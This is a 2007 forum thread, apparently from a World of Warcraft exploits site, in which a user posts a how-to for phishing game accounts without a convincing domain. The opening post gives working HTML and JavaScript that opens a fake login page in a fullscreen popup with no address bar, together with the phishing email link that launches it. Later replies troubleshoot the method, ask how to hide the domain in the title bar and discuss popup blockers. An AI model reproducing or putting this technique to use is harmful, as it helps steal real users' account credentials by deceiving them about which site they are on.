How to phish without have a credible domain name

**patatovor** · 07-13-2007

-----)(Please leave the copyright text intact)(-----
This post is copyright by the user posting it and MMOwned.com - World of Warcraft Exploits,Hacks, Bots and Guides, where it was posted. You may not copy or reproduce this information on any other site without written permission from both the poster and MMOwned.com

Theire are a lots of threads about phishing.
You always need a domain name who looks credible to scam accounts.
The best way to phish with a free hoster domain name is this:

create an html page,i call it "account.html"
in your page put this:

Code:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="" rel="stylesheet" type="text/css">
<SCRIPT LANGUAGE="javascript">
window.open("your faked login page url",'fullscreen','fullscreen,scrollbars=no') 
</script>
</head>

<body>
<script language="javascript"> 
var obj_window = window.open('', '_self');
obj_window.opener = window;
obj_window.focus();
opener=self;
self.close();
</script>
</body>
</html>

in your mail put this html code:

Code:

<a href="your account.html url">Click Here</a>

When the target will click on the link it will open account.html,account.html will open a popup without address bar and account.html will close itself.

Exemple:

Click Here

:wave:

**mat506** · 07-13-2007

I've been looking for something like this for a while. I'm gonna try it now, if it works, then +rep for you

Edit: Mine still has an adress bar

Edit: Nvm, i solved it. So, now i have the popup without the adress bar, wich is awesome. But i was just wondering: there's www.yourdomain.com/blah in the title bar of the popup, is there a way to change that too?

**immortal1983** · 07-13-2007

I'm not sure I understand the point of this.
Why have a page that when you go to it, it just closes?
Could elaborate a little more than just:

When the target will click on the link it will open account.html,account.html will open a popup without address bar and it will close itself.

**patatovor** · 07-13-2007

The target click on the "Click here" link,it opens a window,this window open a popup without adress bar and close itself.
Excuse me if you don't understand,i speak a bad english.

Originally Posted by mat506

Edit: Nvm, i solved it. So, now i have the popup without the adress bar, wich is awesome. But i was just wondering: there's www.yourdomain.com/blah in the title bar of the popup, is there a way to change that too?

It hapens with firefox,you can add <title>you page title</title> after the <head> balise in you faked login page but i don't think that it with solve your problem,the best solution is to hope that your targets use Internet Explorer

**vulcan1909** · 07-13-2007

how do i add it to my website, i keep pasting in your code everywhere filling in my website url and its not working, either it closes the popup after it loads, or not loading anything on the popup.

**patatovor** · 07-13-2007

You're not doing it right.
Create a page an paste the main code in it.When the target will come on this page by clicking on the link you did in your phishing mail (using

Code:

<a href="your page url">Click Here</a>

) he will be redirected on the page of your choise (of course a login page

) without any adress bar.

**vulcan1909** · 07-13-2007

well it works now, but one question how come when i click your example it doenst minimized, but when you click mine it minimizes and you ahve to find it again? And will some popup blockers block it?

Ya when i try to open the account files url on ie it doesnt come up because its being blocked, couldnt that happen on their computers?

**patatovor** · 07-13-2007

Originally Posted by vulcan1909

well it works now, but one question how come when i click your example it doenst minimized, but when you click mine it minimizes and you ahve to find it again?

I don't understand what do you mean by "and you have to find it again?".

And will some popup blockers block it?

Yeah,it's a simple popup so they will do.

Ya when i try to open the account files url on ie it doesnt come up because its being blocked, couldnt that happen on their computers?

I don't,my version works with,i can't resolve all your problems,i'm a geek,not a magician.

**vulcan1909** · 07-13-2007

haha what i mean is when i click your link it just pops up and is there. On mine it pops up, minimizes and i have to find the internet browser window again. I think it would be more suspicious if it minimizes itself.

**patatovor** · 07-13-2007

:squint:
Isn't suspicious,it just come from your computer.

**zeryudo** · 07-13-2007

i don't understand

**iPapa** · 07-13-2007

When phishing, you should know abit about designing websites.

I'll explain this to those who don't understand.

1. You have a link to "WoW account login" (which is really your phishing page)
2. Normally, your phishing page will have the address bar which will show, it isn't really the WoW account login page.
3. What happens is, the link goes to a page, which uses javascript to open up
another page. The javascript tells the newly opened page, to NOT DISPLAY THE ADDRESS BAR.
4. So the final, phishing page is opened, so the Javascript now tells the page which opened the phishing page, to close.

This is a great guide +rep

One more thing: You could probably code this, to make it so you don't have a page which opens the phishing page, then closes. You could make it so when you click on the link, it opens your phishing page automatically with no address bar showing.

**immortal1983** · 07-13-2007

You will never be able to get rid of the address bar in any browser for it is a security feature.
Firefox: Will leave url in front of the page's title
IE: Will still have an address bar but disabled
Opera: Same as Firefox
etc...

There is no way around... sorry

**patatovor** · 07-14-2007

I know,i use Opera.
But the most of people use IE6,it's working fine with.

**immortal1983** · 07-14-2007

IE6? IE7 is the common now in days... since microsoft loves to shove updates up your ass hahaha... but yes I can confirm that IE6 is not as secure as IE7... so you could possibly catch a break with some people.

Shout-Out

User Tag List

Thread: How to phish without have a credible domain name

Thread Tools

Search Thread

How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Re: How to phish without have a credible domain name

Similar Threads

How to get Opcodes without having to sniff Blizzards servers?

How to get the core hound pup without having an cellphone or buying one

[HOW TO] Find Guild sites without having to use WoWJustu/Google

Mount in AQ without having a bugged mount

OwnedCore Forums

casino

CoreCoins

My OwnedCore

About Us

Casino